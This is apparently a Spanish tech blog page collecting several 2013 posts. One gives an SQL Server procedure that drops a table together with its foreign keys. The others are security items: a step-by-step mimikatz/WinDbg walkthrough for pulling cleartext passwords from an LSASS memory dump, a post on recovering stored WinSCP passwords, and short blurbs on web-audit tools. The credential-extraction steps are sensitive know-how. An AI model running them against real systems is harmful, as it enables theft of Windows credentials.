miércoles, 27 de noviembre de 2013

DROP TABLE CASCADE CONSTRAINTS - SQL SERVER

En Oracle, la sintaxis para borrar una tabla admite el modificador "CASCADE CONSTRAINTS". Estas dos palabritas mágicas borran primero todas las Foreing Keys que referencian a la tabla y luego, recién después se borra la tabla.

En SQL Server esto no existe. Es decir, si uno quiere borrar una tabla que es referenciada por otras tablas, primero tiene que borrar "a mano" las FKs y luego recién podrá borrar la tabla.

En caso contrario, se encontrará con un simpático mensaje:
Msg 3726, Level 16, State 1, Line 1
Could not drop object 'ent_campana' because it is referenced by a FOREIGN KEY constraint.

Acá dejo un muy modesto store procedure en Transact SQL que hace esto. Es un burdo ejemplo de lo mal que uno puede programar cerca de la medianoche, pero al menos funciona :)

-- USO:
-- droptable_cascade 'mytable'

create procedure droptable_cascade (@table_name varchar(500))
as
declare @fk_table_name varchar(500);
declare @const_name varchar(500);

declare vcursor cursor for
select const.name as const_name, fk_table.name fk_table_name
from sysobjects const
, sysobjects fk_table
, sysreferences sr
where const.id = sr.constid
and fk_table.id = sr.fkeyid
and sr.rkeyid = (select id from sysobjects where name = @table_name)

open vcursor
fetch next from vcursor
into @const_name, @fk_table_name
while @@fetch_status = 0
begin
exec ('alter table ' + @fk_table_name + ' drop constraint ' + @const_name);

-- Avanzamos otro registro
fetch next from vcursor
into @const_name, @table_name
end
close vcursor
deallocate vcursor

exec ('drop table ' + @table_name);


Fuente: http://laboticadellanga.blogspot.com/2009/01/drop-table-cascade-constraints-sql.html
http://stackoverflow.com/questions/6196878/equivalent-for-drop-table-table-name-cascade-constraints-in-sql-server

Obtención de contraseñas en claro mediante volcados de memoria (dmp) con WinDbg y la extensión de mimikatz

Como ya sabéis, con mimikatz podemos obtener los hashes/contraseñas accediendo directamente al proceso o a un minidump de LSASS. Sin embargo, los contenidos de la memoria de LSASS están también "disponibles" a través de otras fuentes:


- copias de memoria de máquinas virtuales (archivos .vmem, etc.)
- archivos de hibernación (archivos hiberfil.sys)
- archivos de volcado de memoria crashdump (.dmp)
...

Hasta ahora mimikatz no podía tratar directamente estas fuentes de datos porque es relativamente complejo (aunque posible) crear un traductor de direcciones virtuales a físicas para todos los modos de direccionamiento (especialmente con las características de Microsoft) y porque el administrador de memoria de Windows no puede garantizar el mapeo de memoria virtual-física durante un tiempo T.

Por eso "Gentil Kiwi" ha creado una extensión para la herramienta más adecuada para la lectura de volcados de memoria (el formato "crashdump") y la manipulación de los símbolos: WinDBG!.

Veamos un ejemplo del uso de esta extensión mediante el análisis y la extracción de un fichero .vmem de una máquina virtual Win7 de VMWare, es decir, el fichero que contiene un backup de la paginación de memoria y que se genera automáticamente al pausar y guardar el estado de una VM.

Empezamos analizando el volcado mediante Volatility y visualizando nuestro objetivo lsass.exe (Local security authentication server):

D:\Hacking>volatility-2.3.1.standalone.exe -f "d:\Virtual Machines\windows7\IE8- Win7-65e39c4c.vmem" --profile=Win7SP0x86  pslist

Volatility Foundation Volatility Framework 2.3.1
Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Star
t                          Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------
0x841388a8 System                    4      0     92      471 ------      0 2013-11-26 11:05:00 UTC+0000
0x8529e930 smss.exe                268      4      5       30 ------      0 2013-11-26 11:05:00 UTC+0000
0x85a2ad40 csrss.exe               368    348      9      551      0      0 2013-11-26 11:05:08 UTC+0000
0x85d28d40 wininit.exe             420    348      7       90      0      0 2013-11-26 11:05:11 UTC+0000
0x85d13d40 csrss.exe               428    412     10      199      1      0 2013-11-26 11:05:11 UTC+0000
0x85d36d40 winlogon.exe            476    412      6      122      1      0 2013-11-26 11:05:11 UTC+0000
0x85d62820 services.exe            520    420     24      253      0      0 2013-11-26 11:05:11 UTC+0000
0x85d57ad0 lsass.exe               536    420      9      544      0      0 2013-11-26 11:05:11 UTC+0000
0x8524d808 lsm.exe                 544    420     11      155      0      0 2013-11-26 11:05:11 UTC+0000
0x85d577e0 svchost.exe             636    520     17      375      0      0 2013-11-26 11:05:12 UTC+0000
...

Lo primero que tenemos que hacer es convertir el fichero .vmem a formato .dmp, el estándar diseñado por Microsoft para depuración. En nuestro caso lo haremos también mediante Volatility:

D:\Hacking>volatility-2.3.1.standalone.exe -f "d:\Virtual Machines\windows7\IE8- Win7-65e39c4c.vmem" --profile=Win7SP0x86 raw2dmp -O mem.dmp
Volatility Foundation Volatility Framework 2.3.1
Writing data (5.00 MB chunks): |................................................................................................................................
..............................................................................|

Ahora que tenemos el fichero .dmp lo abrimos con WinDbg (control + D):
 


A continuación simplemente cargamos la librería mimilib.dll:

16.0: kd> .load d:\hacking\mimikatz_trunk\x64\mimilib.dll

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 24 2013 21:22:48)
 .## ^ ##.  Windows build 7601
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz
  '#####'                                  WinDBG extension ! * * */

===================================
#         * Kernel mode *         #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p 
# And finally :
0: kd> !mimikatz
===================================
#          * User mode *          #
===================================
0:000> !mimikatz
===================================

16.0: kd> 

Después hay que situarse en el contexto del proceso LSASS:

16.0: kd> !process 0 0 lsass.exe
PROCESS 85d57ad0  SessionId: 0  Cid: 0218    Peb: 7ffd3000  ParentCid: 01a4
    DirBase: 3eca00e0  ObjectTable: 882e2288  HandleCount: 544.
    Image: lsass.exe

16.0: kd> .process /r /p 85d57ad0
Implicit process is now 85d57ad0
Loading User Symbols
..........................................................

Y finalmente ejecutar el comando !mimikatz:
 


Fuente: WinDbg et l’extension de mimikatz
http://www.hackplayers.com/2013/11/obtencion-de-contrasenas-en-claro-mediante-dumps.html

Contraseñas de las sesiones con WinSCP

Afortunadamante poco a poco se está sustituyendo el uso de FTP por SCP o SFTP sobre SSH-1 y SSH-2 para la transferencia de ficheros en Internet. 

Quizás unos de los clientes más utilizados bajo Windows es WinSCP. Esta herramienta te permite almacenar sesiones y también guardar sus respectivas contraseñas, algo en principio no recomendable:



Por defecto, WinSCP realiza una serie de sencillas operaciones bit a bit usando el nombre de usuario concatenado con el nombre de máquina y almacena la contraseña cifrada en la cadena del registro "HKEY_Current_User\Software\Martin Prikryl\WinSCP 2\Sessions" o en un fichero INI localizado en el mismo path del ejecutable del programa:

 

[Sessions\usuario@ftp.pruebas.cz]
HostName=ftp.pruebas.cz
UserName=usuario
FSProtocol=2
Password=B22F7258DC45B2991A080D15191F150B1A6C6F2F3A282C7235393F35712F392C2A353F35332B123F22310839312C332E3D302D6E6B

Revertir las funciones y obtener la contraseña en claro es trivial y, como WinSCP además es de código abierto y se pueden encontrar las funciones correspondientes (Security.cpp), existen ya varias herramientas como winscppwd, astlog y hasta un módulo de Metasploit. Incluso podréis usar en línea http://codedementia.com/WinSCP/index.php aunque yo nunca recomiendo introducir contraseñas reales en este tipo de portales.

¿La solución? Activar la opción de usar una Contraseña maestra para que las contraseñas se cifren mediante AES256:




Fuente:http://www.hackplayers.com/2013/11/ten-cuidado-si-guardas-las-contrasenas-de-WinSCP.html

X5S – Encuentra fallos XSS, LFI y RFI fácilmente

X5S es una  desarrollada por la empresa de  Casaba, con la finalidad de ayudar a los desarrolladores  a encontrar vulnerabilidades o problemas de seguridaden sus aplicaciones.
X5S X5S   Encuentra fallos XSS, LFI y RFI fácilmente
Con X5S tendremos a la mando una cantidad de utilidades que nos permitirán agilizar el proceso de detección y manipulación de parámetros mal filtrados, causantes de la mayoría de problemas en las aplicaciones web, también nos permite automatizar pruebas para verificar si los campos de entrada o parámetros de nuestra aplicación son  a fallos como ,.
Aunque X5S es una herramienta gratuita y de código abierto, desafortunadamente solo esta disponible para entornos Windows, pero si eres desarrollador web y te preocupa la seguridad de tus creaciones, no dudes en bajar testar tu código con ella.

Descargar X5S



HttpBee la Navaja Suiza de las Aplicaciones Web

HttpBee es la Navaja Suiza para la auditoría de  . Puede crear múltiples subprocesos y integrado un motor de scripting como también una linea de comandos, aparte de esto también puede correr como servicio por lo tanto puede ser parte de un framework distribuido.
Esta herramienta esta pensada especialmente para usuarios avanzados, no hay casi documentación ni guias, si alguien esta dispuesto a escribir un manual o tutorial sobre este programa QUE LO HAGA (yo lo publicare en la pagina si me lo envian).
Instalación:
Para instalar el HttpBee es necesario tener una versión del LUA 5.1.X (pueden bajarlo dehttp://www.lua.org/ftp/).
También necesitas la librería PCREY (http://www.pcre.org/).
HttpBee no es un script que use ./configure, por lo que tendrá que cambiar directamente el Makefile antes de construirlo. Busque en la sección CFLAGS y CXXFLAGS. – DOS_X (o -DLINUX, o -DWINDOWS es básicamente un ajuste para su plataforma, además, ajustarse los pathes).
Modo de Uso
La carpeta ‘modules’ contiene los plugins lua que el HttpBee usa para realizar sus tareas de evaluacion. Ud puede correr HttpBee asi ./ -spath/to/modules/script.lua -t 255 -h localhost (Especificar un número distinto de los hilos en paralelo impactará el rendimiento del sistema)
Scripting
La forma en que el motor de scripting es aplicado en HttpBee es relativa a la arquitectura del HttpBee en si. HttpBeemantiene un conjunto de hilos que se utiliza para la ejecución paralela de tareas. Por lo tanto, la ejecución de los scripts HttpBee no es lineal. En lugar de ello, hay ciertas funciones que se realizan en determinadas fases del proceso de escaneado.
Descargar el HttpBee:
Mas Información:

martes, 26 de noviembre de 2013

Consultar las llamadas/canales activos en ASTERISK desde la consola

Buenas.

Algunos momentos nos encontramos en el dilema de ver las llamadas activas pero desde el Cli de asterisk se dificulta cuando esta en modo verbose, asi que la solución es hacer un script desde consola para observarlas sin necesidad de entrar al cli de asterisk:

Dejo los comandos y el script ya es pan comido.

Ver el numero de canales activos:
watch "asterisk -vvvvvrx 'show channels' | grep channels"

Ver el numero de llamadas activas:
watch "asterisk -vvvvvrx 'show channels' | grep calls"

Ver los canales activos:
watch "asterisk -vvvvvrx 'show channels verbose'"

Tomado de:

Mas comandos en:

Fuentes: